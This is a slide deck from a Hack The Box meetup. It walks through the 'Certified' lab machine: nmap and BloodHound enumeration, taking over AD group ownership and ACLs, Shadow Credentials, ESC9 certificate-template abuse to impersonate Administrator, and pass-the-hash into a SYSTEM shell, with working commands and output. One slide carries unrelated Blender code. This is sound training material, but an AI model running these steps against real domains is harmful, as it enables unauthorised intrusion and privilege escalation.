



Zürcher
Kantonalbank



HACKTHEBOX

Hack The Box Meetup 0x0A | Onsite @ Zürcher Kantonalbank

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HACKTHEBOX

18:00	Door Opening
18:15 – 18:45	Intro and Setup
18:45 – 20:00	Hacking / Walkthrough
20:00 – 20:30	Break
20:30 – 21:45	Hacking / Walkthrough
21:45 – 22:00	Ending

Admin

- Wi-Fi: **Guest_www**
- Food / drinks (input)
- Toilets (output)
- Pictures ok/nok?
- Slides: <https://slides.hackingnight.ch>



Zürcher
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Hosts



Antoine Neuenschwander
Tech Lead Bug Bounty, Swisscom

Offensive Security

aka Ethical Hacking / White Hat Hacking

Understand Technology

Acknowledge there is no 100% security

Find Vulnerabilities

Contradict all Assumptions



Legal Aspects

Computer hacking is illegal, right?

Art. 143 bis Swiss Penal Code

Unauthorised access to a data processing system

Hack The Box

Provides lab environment to learn about attacker tactics



Gamification

Capture the Flag (CTF)

Hacking Competition

(warning: addictive)






HACKTHEBOX


419 virtual machines (boxes)

Hacking Setup


Option
#1



Option
#2



Option
#3





Setup
Option
#3


HTB PwnBox

Cloud-Based VM

Automatic VPN Setup

Connect to the Lab via HTB PwnBox


Select the PwnBox instead of VPN



Connect to the Lab via HTB PwnBox

Choose the nearest location


3



Connect to the Lab via HTB PwnBox

Start PwnBox & Open Desktop

4



Today on the Menu

4 Assigned ⓘ



Headless

✗ · LINUX · EASY · ⓘ



REMOVE



Sea

✗ · LINUX · EASY · ⓘ



REMOVE



Cicada

✗ · WINDOWS · EASY · ⓘ



REMOVE



Certified

✗ · WINDOWS · MEDIUM · ⓘ



REMOVE



Walkthrough: Certified

1. Follow-Up on “Cicada”
2. Medium-difficulty Windows machine
3. AD Enumeration/Reconnaissance
4. Forge Authentication Certificates
5. AD Certificate Services Abuse

/etc/hosts file

- Add the domain **certified.htb** to the **/etc/hosts** file
- Overrides DNS resolution

```
$ sudo nano /etc/hosts
```

And add the following entry:

```
10.10.11.XXX certified.htb
```

Or:

```
$ echo 10.10.11.XXX certified.htb | sudo tee -a /etc/hosts
```

Tooling



Certipy

Enumeration and abuse of Active Directory Certificate Services (AD CS)

<https://github.com/ly4k/Certipy>



Impacket

Collection of Python classes for working with network protocols. It provides low-level programmatic access to the packets and protocols (e.g. SMB1-3 and MSRPC)

<https://github.com/fortra/impacket>



Native Tools

Any other tools that do the job, e.g. from the Samba project

<https://www.samba.org/>

A close-up, slightly blurred photograph of a network switch or patch panel. Several blue Ethernet cables are plugged into the ports. In the background, several circular indicator lights are glowing with a warm yellow-orange light. The overall color palette is dominated by blues and oranges.

#1 Network Scanning & Active Directory Enumeration

Application

Provides **network services** to applications

HTTP, FTP, SMTP, SSH, etc.

Transport

Ensures **reliable data transfer** between devices

TCP Port
1337

Internet

Routing of data packets within and between networks


IP Address
203.0.113.45

Network Access

Physical Transmission of Data

- Ethernet (LAN cable)
- Wi-Fi

MAC Address
48:2C:6A:1E:59:3F



TCP Ports

Numerical identifiers used to distinguish different services on a host.

16bit range from 0-65535

Service Enumeration using nmap

nmap = the network mapper

```
$ nmap <ip-address>
```

```
$ nmap 10.0.0.1
```

Advanced nmap options

Minimal rate (\geq packets / second)

```
$ nmap --min-rate=1000 <ip-address>
```

Timing template (0-5, higher is faster)

```
$ nmap -T4 <ip-address>
```

Scan specific ports

```
$ nmap -p21,22,80,100-200 <ip-address>
```

Scan all (65535) ports

```
$ nmap -p- <ip-address>
```

Determine service/version information


```
$ nmap -sV <ip-address>
```

Script scan (default nmap scripts)


```
$ nmap -sC <ip-address>
```

Port Nr	Name	Description
88	Kerberos	authentication protocol to securely verify user identities and grant access to network resources using ticket-based authentication
135, 593	Remote Procedure Call (RPC) / RPC over HTTP	communication protocol that enables inter-process communication between Windows applications and services across a network, usually for remote management. Examples: wmic, eventvwr.msc, services.msc, regedit.exe, schtasks.exe, certutil.exe
139	NetBIOS Session Service (SSN)	protocol used for network file and printer sharing on older Windows systems, facilitating session-based communication over NetBIOS
445	MS Directory Services / SMB over TCP/IP	primarily used for Microsoft Directory Services and for file sharing over the Server Message Block (SMB) protocol in Windows networks
389, 636, 3268, 3269	Lightweight Directory Access Protocol LDAP(S)	protocol used for querying and managing directory information within Active Directory, enabling authentication, authorization, and user management in a Windows network.
5985	Windows Remote Management	the Microsoft implementation of WS-Management Protocol. A standard SOAP based protocol that allows hardware and operating systems from different vendors to interoperate. Microsoft included it in their Operating Systems in order to make life easier to system administrators.

Server Message Block (SMB)




Lightweight Directory Access Protocol (LDAP)



Bloodhound

- AD enumeration tool
- Uses graph database (neo4j) to map relationships and trust levels between AD objects




Bloodhound - Data collection

```
$ bloodhound-python -c all -d certified.htb -u  
judith.mader -p judith09 -ns 10.129.178.85
```

```
└─ [*]$ bloodhound-python -d certified.htb -u judith.mader -p judith09 -c all -ns 10.129.178.85  
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)  
INFO: Found AD domain: certified.htb  
INFO: Getting TGT for user  
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)  
INFO: Connecting to LDAP server: dc01.certified.htb  
INFO: Found 1 domains  
INFO: Found 1 domains in the forest  
INFO: Found 1 computers  
INFO: Connecting to LDAP server: dc01.certified.htb  
INFO: Found 10 users  
INFO: Found 53 groups  
INFO: Found 2 gpos  
INFO: Found 1 ous  
INFO: Found 19 containers  
INFO: Found 0 trusts  
INFO: Starting computer enumeration with 10 workers  
INFO: Querying computer: DC01.certified.htb  
INFO: Done in 00M 02S
```

Bloodhound - Data Visualization (1)


- Start neo4j console with command “bloodhound”
- login/pass = neo4j/neo4j



The image shows the Bloodhound login interface. At the top, there is a logo of a dog made of a network graph, with the word "BLOODHOUND" below it. Underneath the logo is the text "Log in to Neo4j Database". There are three input fields: the first contains "bolt://localhost:7687" with a green checkmark on the right; the second contains "neo4j"; the third contains masked characters ".....". A red watermark "neo4j / neo4j" is overlaid on the password field. At the bottom left, there is a checkbox labeled "Save Password". At the bottom right, there is a blue "Login" button.


Bloodhound - Data Visualization (2)

Upload all json files created with *bloodhound-python* in previous data collection step



BloodHound - Data Visualization (3)

1. Enter “judith.mader” in search bar
2. Select “node info” tab
3. Select “Reachable High Value Targets”




The screenshot shows the BloodHound web interface. The search bar at the top contains the text "JUDITH.MADER@CERTIFIED.HTB". Below the search bar, the "Node Info" tab is selected. The "Overview" section displays a table with the following data:

Metric	Value
Sessions	0
Sibling Objects in the Same OU	9
Reachable High Value Targets	9
Effective Inbound GPOs	1
See user within Domain/OU Tree	

The "Reachable High Value Targets" row is highlighted with a red box. To the right of the table, there is a large green circle containing a white person icon, with the text "JUDITH.MADER@CERTIFIED.HTB" below it.


Bloodhound - Data Visualization (4)



#2 Gaining Rights on Group “management”

Gaining Rights on “management” group

1. Claim group ownership
2. Grant FullControl to self
3. Join group



1. Change Group Ownership

```
$ ownedit.py -dc-ip certified.htb -action read -  
target management certified/judith.mader:judith09
```

Current owner: Domain Admins

```
$ ownedit.py -dc-ip certified.htb -action write -  
new-owner judith.mader -target management  
certified/judith.mader:judith09
```

New owner: judith.mader

2. Grant FullControl to self

```
$ dacledit.py -dc-ip certified.htb -action read -  
principal judith.mader -target management  
certified/judith.mader:judith09
```

Current ACLs: WriteOwner

```
$ dacledit.py -dc-ip certified.htb -action write -rights  
FullControl -principal judith.mader -target management  
certified/judith.mader:judith09
```

New ACLs: WriteOwner, FullControl

3. Join Group

```
$ net rpc group members management -U  
"certified/judith.mader%judith09" -S certified.htb
```

Current group members: CERTIFIED/management_svc

```
$ net rpc group addmem management judith.mader -U  
"certified/judith.mader%judith09" -S certified.htb
```


New group members:

CERTIFIED/management_svc, CERTIFIED/judith.mader


#3 Account Takeover “management_svc”

Account Takeover “management_svc”

- Write any user attribute
- Exploit “Shadow Credentials”




Kerberos



PKINIT



Key Distribution Center (KDC)



public key

Stored in LDAP attribute
msDS-KeyCredentialLink



Authenticator



Client



public key



private key

Kerberos Tray

Shadow Credentials


LDAP Queries - msDS-KeyCredentialLink

```
$ ldapsearch -H ldap://certified.htb -b "DC=certified,DC=htb" -D  
"judith.mader@certified.htb" -w 'judith09' "(sAMAccountName=user)" dn  
msDS-KeyCredentialLink
```

```
$ nxc ldap certified.htb -u "judith.mader" -p "judith09" --query  
"(sAMAccountName=management_svc)" "dn msDS-KeyCredentialLink"
```

Adding Shadow Credentials

```
$ certipy shadow -account management_svc -u  
judith.mader@certified.htb -p judith09 add
```




```
$ certipy auth -pfx management_svc.pfx -username  
management_svc -domain certified.htb -dc-ip <ip-addr>
```


#4 Foothold and user.txt flag

Remote Login as management_svc

evil-winrm

```
-u management_svc  
-H <ntlm-hash>  
-i certified.htb
```




```
mirror_mod.use_x = False  
mirror_mod.use_y = True  
mirror_mod.use_z = False  
operation == "MIRROR_Z";  
mirror_mod.use_x = False  
mirror_mod.use_y = False  
mirror_mod.use_z = True
```

```
#selection at the end -add  
mirror_ob.select= 1  
modifier_ob.select=1  
context.scene.objects.active  
("Selected" + str(modifier_ob.name))  
mirror_ob.select = 0  
= bpy.context.selected_objects  
data.objects[one.name].select  
print("please select exactly one object")
```

#5 Abusing Active Directory Certificate Services (AD CS)

Identifying High Value Target

- CA Operator
- Can Issue certificates
- E.g. smart card, TLS, etc



Account Takeover ca_operator

```
$ certipy shadow -account ca_operator -u  
management_svc@certified.htb -hashes  
a091c1832bcdd4677c28b5a6a1295584 -dc-ip  
10.129.178.85 auto
```


Enumerate Certificate Templates

```
certipy find -vulnerable -dc-ip 10.129.178.85 -u  
ca_operator@certified.htb -hashes  
b4b86f45c6018f1b664f70805f45d8f2 -stdout
```

```
[!] Vulnerabilities  
ESC9
```

```
CERTIFIED.HTB\Administrator
```

```
: 'CERTIFIED.HTB\operator ca' can enroll and template has no security extension
```

ESCalation Technique #9


“No Security Extension”

ESC9

1. Change ca_operator user's UPN [User Principle Name] from **ca_operator@certified.htb** to **Administrator**
2. Request a certificate to that UPN => *administrator.pfx*
3. Change ca_operator user's UPN back from **Administrator** to **ca_operator@certified.htb**
4. Log in using PKINIT as **Administrator**

1. Change UPN to Administrator

```
$ certipy account update -dc-ip <ip-addr> -u  
management_svc -hashes  
a091c1832bcdd4677c28b5a6a1295584 -user ca_operator  
-upn Administrator
```



2. Request certificate

```
$ certipy req -u ca_operator -hashes  
b4b86f45c6018f1b664f70805f45d8f2 -dc-ip <ip-addr>  
-ca certified-DC01-CA -template  
CertifiedAuthentication
```

```
X509v3 Subject Alternative Name:  
    othername: UPN::Administrator  
Signature Algorithm: sha256WithRSAEncryption  
Signature Value:  
    bf:86:cc:85:63:37:81:b5:ad:bb:ed:61:66:cc:a3:f0:67:d9:
```

3. Restore UPN to original value

```
$ certipy account update -dc-ip <ip-addr> -u  
management_svc -hashes  
a091c1832bcdd4677c28b5a6a1295584 -user ca_operator  
-upn ca_operator@certified.htb
```

Authenticate with certificate (PKINIT)

```
$ certify auth -pfx administrator.pfx -dc-ip  
<ip-addr> -domain certified.htb
```

Retrieve hash

```
$ evil-winrm -i certified.htb -u administrator  
-H <nthash>
```

PtH – Pass the Hash


```
evil-winrm -i cicada.htb -u Administrator -H "<hash>"
```

```
impacket-psexec 'cicada.htb/Administrator'@cicada.htb -hashes '<hashes>'
```

```
└─ [*]$ impacket-psexec 'cicada.htb/Administrator'@cicada.htb -hashes 'aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341'
Impacket v0.13.0.dev0+20240916.171021.65b774d - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on cicada.htb.....
[*] Found writable share ADMIN$
[*] Uploading file SEsqAHCK.exe
[*] Opening SVCManager on cicada.htb.....
[*] Creating service KOKB on cicada.htb.....
[*] Starting service KOKB.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.2700]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system
```



Thanks for your
Participation !
You did Awesome !!!

Next HTB Meetup Dates

- 0x0B @ RAUM68 (Sphères) sponsored by 10 April 2025



- 0x0C @ BDO AG sponsored by BDO AG 22 May 2025





Hack the Box VIP+ Vouchers (1 Month)



HACKTHEBOX